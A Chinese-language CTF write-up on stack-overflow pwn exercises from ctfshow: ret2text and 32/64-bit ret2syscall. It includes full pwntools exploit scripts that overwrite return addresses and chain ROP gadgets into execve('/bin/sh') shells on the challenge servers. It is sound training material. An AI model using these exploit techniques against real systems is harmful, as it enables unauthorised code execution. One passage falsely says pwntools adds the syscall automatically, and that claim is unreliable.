PWN中栈溢出的部分简单题型 Ret2text 这类题型里:
1、存在能够覆盖返回地址的栈溢出
2、程序代码中直接存在类似于**system(“bin/sh”)**能够直接获取程序控制权的代码。
1 这段代码向系统申请一个sh的用户shell,可以获得当前交互主机的控制权bash
造成栈溢出的最常见的情形:
1、gets(),由于gets()函数不限制读入的长度,所以一般看到程序中出现了gets()读取用户输入的情况,大概率是存在栈溢出的。
2、限制长度读入函数,规定读入的长度大于变量与rbp/ebp之间的距离,例如下图:
虽然read(0,buf,0x32uLL)限制了向buf内读入的长度为0x32,但是buf与rbp之间的距离只有0xA,就存在0x32-0xA=0x28的长度是可以溢出的。
例题1: CTFshow - pwn38
64位ret2text
pwn基本解题流程:
1、checksec检查程序基本信息:
2、为程序添加可执行权:
chmod +x pwn
3、IDA反编译分析程序结构。
4、gdb动态分析、调试。
5、编写攻击脚本exp。
checksec查看程序基本信息:
IDA反编译分析:
主函数:
存在0x32-0xA = 0x28长度的栈溢出。
后门函数:
存在system(“/bin/sh”)
gdb调试:
在这道题中:
0x7fffffffdc00是buf的起始地址,大小为0xA,rbp是buf+0xA 也就是图中的0x7fffffffdc10,而紧跟着rbp后面的就是函数的返回地址,ret address,我们只需要通过栈溢出将ret address改写成我们想要让程序返回的地方即可达到攻击的目的。
编写攻击脚本exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context.log_level = "debug" io = remote("pwn.challenge.ctf.show" ,28308 ) io.recv() ret = 0x400287 payload = b'A' *(0xA +8 ) +p64(ret)+ p64(0x400657 ) io.sendline(payload) io.interactive()
例题2: CTFshow——pwn37
32位ret2text
与64位原理一样,要修改成32位的格式:
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context.log_level = "debug" io = process("./pwn" ) io.recv() ret = 0x08048356 payload = b'A' *(0x12 +4 ) + p32(ret) + p32(0x08048521 ) io.sendline(payload) io.interactive()
不同点在于p32()以及ebp的长度由8变为4。
ret2syscall x32 ctfshow pwn入门 pwn71
栈溢出
静态编译,可以通过ret2syscall
我们可以利用程序中的 gadgets 来获得shell,而对应的 shell 获取则是利用系统调用。 简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shel
1 execve("/bin/sh" ,NULL,NULL)
1 2 3 4 5 6 其中,该程序是 32 位,所以我们需要使得 系统调用号,pop eax 0xb ret | 即 eax 应该为32位execve的进程号0xb 第一个参数,pop ebx /bin/sh ret | 即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。 第二个参数,pop ecx 0 ret | 即 ecx 应该为 0 第三个参数,pop edx 0 ret | 即 edx 应该为 0 最后, int 0x80 | x86 通过 int 0x80 指令进行系统调用
我们需要pop eax ret,pop ebx ret ,pop ecx ret ,pop edx ret
/bin/sh的地址:
这个可以利用
还有int 0x80
在ida中的偏移有问题,要在gdb中动调算:
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) io=remote('pwn.challenge.ctf.show' ,28113 ) elf = ELF("./pwn" ) offset = 0x6C + 4 pop_eax = 0x080bb196 pop_edx_ecx_ebx = 0x0806eb90 bin_sh = next (elf.search(b"/bin/sh" )) int_80h = 0x08049421 payload = b'A' *offset + p32(pop_eax) + p32(0xb ) + p32(pop_edx_ecx_ebx) + p32(0 ) + p32(0 ) + p32(bin_sh) +p32(int_80h) io.sendline(payload) io.interactive()
x32-2 ctfshow Pwn入门 pwn72
32位ret2syscall,没有/bin/sh,利用read读入
计算偏移,这里ida的偏移又是错的,应该是0x28
和之前一样,不同的地方是这次没有了/bin/sh
在ida里面找到了read函数,可以利用read读入/bin/sh到bss段的一个地址,之后再ret2syscall时用这个地址即可
1 2 3 4 5 6 7 8 9 10 read(): ssize_t read(int fd,const void *buf,size_t nbytes); //fd 为要读取的文件的描述符 0 //buf 为要读取的数据的缓冲区地址 //nbytes 为要读取的数据的字节数 //read() 函数会从 fd 文件中读取 nbytes 个字节并保存到缓冲区 buf, //成功则返回读取到的字节数(但遇到文件结尾则返回0),失败则返回 -1。 调用号:sys_read 的32位调用号 为 3 | 64位进程号为0
那么我们可以构造调用read的rop
1 2 3 4 5 pop eax 0x3 ret #32位下read系统调用号 pop ebx 0 ret #要读取的内容描述,0 pop ecx adress ret #adress是需要读入的地址 pop edx length ret #读入的长度 int 0x80 #执行系统调用
这题写入地址就随便选一个bss段上就行0x080EB000,读入长度,”/bin/sh\x00”,不少于这个就行
之后再进行execve(“/bin/sh”,NULL,NULL)的调用
1 2 3 4 5 6 其中,该程序是 32 位,所以我们需要使得 系统调用号,pop eax 0xb ret | 即 eax 应该为32位execve的进程号0xb 第一个参数,pop ebx /bin/sh ret | 即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。 第二个参数,pop ecx 0 ret | 即 ecx 应该为 0 第三个参数,pop edx 0 ret | 即 edx 应该为 0 最后, int 0x80 | x86 通过 int 0x80 指令进行系统调用
这题不知道为什么ROPgadget找到的int 80h用不了,用的是ida这里的
ROPgadget找到的这个用不了
ida里面的这个可以用
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) io=remote('pwn.challenge.ctf.show' ,28298 ) elf = ELF("./pwn" ) offset = 0x28 +4 pop_eax = 0x080bb2c6 pop_edx_ecx_ebx = 0x0806ecb0 int_80h = 0x0806F350 bss = 0x080EB000 payload = b'A' *offset payload += p32(pop_eax) + p32(0x3 ) payload += p32(pop_edx_ecx_ebx) + p32(0x10 ) + p32(bss) + p32(0 ) payload += p32(int_80h) payload += p32(pop_eax) + p32(0xb ) payload += p32(pop_edx_ecx_ebx) + p32(0 ) + p32(0 ) + p32(bss) payload += p32(int_80h) io.recv() io.sendline(payload) io.sendline("/bin/sh\x00" ) io.interactive()
x64 ctfshow pwn入门 pwn78
没有canary没有pie
溢出函数
和32位类似,只是放参数的寄存器和调用号什么的变了,64位传参顺序是rdi > rsi > rdx > rcx > r8 > r9 > 栈上
这题先调用read读入/bin/sh到bss段,再调用system(/bin/sh)
1 2 3 4 5 6 调用read: pop rax 0 ret #将要调用的函数(read)的系统调用号存入rax(特殊,系统调用号就是放在rax里的)中,这里是0 pop rdi 0 ret #read的第一个参数,表示标准读入 pop rsi bss_addr ret #第二个参数,存放读入的位置,这里是bss上的一个地址 pop rdx 0x10 ret #第三个参数,表示读入的长度,这里用0x10 syscall
1 2 3 4 5 6 调用execve("/bin/sh",NULL,NULL): pop rax 0x3b ret #execve的系统调用号,存入rax pop rdi bss_addr ret #将第一个参数/bin/sh,这里存在bss上,放入rdi中 pop rsi 0 ret #第二个参数 0也就是NULL pop rdx 0 ret #第三个参数 0也就是NULL syscall
在实际利用中可以省略syscall,因为使用了pwntools库的remote
函数时,它会自动处理系统调用,因此你不需要手动添加syscall
指令。当你发送payload时,pwntools会在内部自动构造ROP链,并执行syscall
指令以触发系统调用。因此,即使没有明确写出syscall
指令,read
和execve
系统调用仍然会被正确地触发。但是这题不知道为什么还是要加syscall 。
syscall ret地址:
首先利用ROPgadget找到能利用的rop指令
1 ROPgadget --binary pwn --only "pop|ret"
首先是 pop rax ret
然后是pop rdi ret
再是rsi和rdx,可以找到两个一起的
还需要一个单独的ret,需要在read调用完之后ret再调用下一个函数execve
再找一个bss段的地址用于存放/bin/sh
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *context.log_level='debug' io=remote('pwn.challenge.ctf.show' ,28311 ) pop_rax=0x46b9f8 pop_rdi=0x4016c3 pop_rdx_rsi=0x4377f9 bss=0x6c2000 syscall=0x45BAC5 payload=b'A' *(0x50 +8 ) payload+=p64(pop_rax)+p64(0x0 ) payload+=p64(pop_rdx_rsi)+p64(0x10 )+p64(bss) payload+=p64(pop_rdi)+p64(0 ) payload+=p64(syscall) payload+=p64(pop_rax)+p64(0x3b ) payload+=p64(pop_rdx_rsi)+p64(0 )+p64(0 ) payload+=p64(pop_rdi)+p64(bss) payload+=p64(syscall) io.sendline(payload)` io.sendline("/bin/sh\x00" ) io.interactive()